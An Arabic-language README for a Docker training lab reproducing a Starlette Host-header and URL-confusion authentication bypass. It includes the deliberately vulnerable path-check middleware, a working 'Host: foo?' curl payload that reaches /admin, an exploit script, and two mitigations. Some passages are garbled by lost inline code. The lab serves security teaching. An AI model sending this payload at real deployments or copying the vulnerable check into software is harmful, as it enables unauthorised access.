
مختبر Starlette للالتباس بين ترويسة المضيف وعنوان URL (X41-2026-002) - CVE-2026-48710
مختبر تدريبي قائم بذاته داخل حاوية، يعيد إنتاج ثغرة تجاوز المصادقة في Starlette التي كشفت عنها X41 D-Sec.
>= 0.8.3, < 1.0.1 (المختبر يثبّت 0.37.2)1.0.1⚠️ للاستخدام في التدريب الأمني المصرح به فقط. هذا التطبيق مصمَّم ليكون ضعيفًا عن قصد. لا تنشره على أي شبكة يمكن الوصول إليها.
يوجّه Starlette الطلب إلى مسار باستخدام scope["path"] الخام من ASGI، لكنه يعيد بناء عبر تنسيق سلسلة نصية لترويسة المقدمة من العميل في القالب — وفقًا لمعيار RFC 9112 §3.2. وبما أن المحارف الخاصة بعناوين URL (, , ) مسموح بمرورها مباشرة، يمكن للمهاجم جعل المسار مختلفًا عن المسار . وعندها يمكن خداع أي فحص أمني مكتوب بالاعتماد على بينما يظل الموجّه يصل إلى المعالج المحمي.
request.urlHost"{scheme}://{host}{path}"Host?/#request.url.pathتسمح البرمجية الوسيطة (middleware) الضعيفة بالطلب فقط عندما يكون request.url.path هو / أو فارغًا:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
أرسِل Host: foo? مع طلب GET /admin:
| المكوّن | القيمة المستخدمة |
|---|---|
الموجّه (scope["path"]) | /admin → يوجّه إلى admin() |
request.url | http://foo?/admin |
request.url.path | "" → يجتاز فحص المصادقة ✅ |
يحوّل ? كل ما بعده إلى سلسلة استعلام (query string)، لذا يكون المسار المُحلَّل فارغًا. ترى المصادقة مسارًا فارغًا فتسمح له بالمرور؛ بينما يستمر الموجّه في تقديم /admin. تم تحقيق التجاوز.
يتطلب Docker و Docker Compose.
docker compose up --build
يبدأ تشغيل خدمتين:
| الخدمة | URL | السلوك |
|---|---|---|
vulnerable | http://localhost:8000 | قابلة للتجاوز |
fixed | http://localhost:8001 | مخففة (بطريقتين) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
أو شغّل سكربت إثبات المفهوم الموجّه:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
يعيد معالج /admin الضعيف نصًا JSON يجعل الالتباس مرئيًا — لاحظ كيف يختلف scope_path عن reconstructed_path:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
انظر إلى fixed/fixed_app.py. يوجد إجراءان مستقلان للتخفيف:
request.scope["path"] — وهو نفس المسار الخام الذي يستخدمه الموجّه — بدلًا من request.url.path المُعاد بناؤه.TrustedHostMiddleware ترويسات Host غير المتوقعة أو غير الصالحة قبل تشغيل أي منطق تطبيقي، محاكيًا ما يفعله وكيل عكسي متوافق مع RFC (مثل nginx/Apache) في الطرف العلوي (upstream).الإصلاح الفعلي في العالم الحقيقي هو ببساطة الترقية إلى Starlette ≥ 1.0.1، الذي يتحقق من ترويسة Host أثناء إعادة بناء عنوان URL.
redirect_uri في OAuth، مفاتيح التخزين المؤقت، روابط إعادة تعيين كلمة المرور المبنية من Host.)/admin) أكثر هشاشة هنا من «اتخاذ القرار بناءً على نقطة النهاية الموجَّه إليها الطلب»؟ ماذا لو كانت التوجيهات غير حساسة لحالة الأحرف أو تتضمن عمليات إعادة توجيه للشرطة المائلة الزائدة (trailing-slash)؟0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md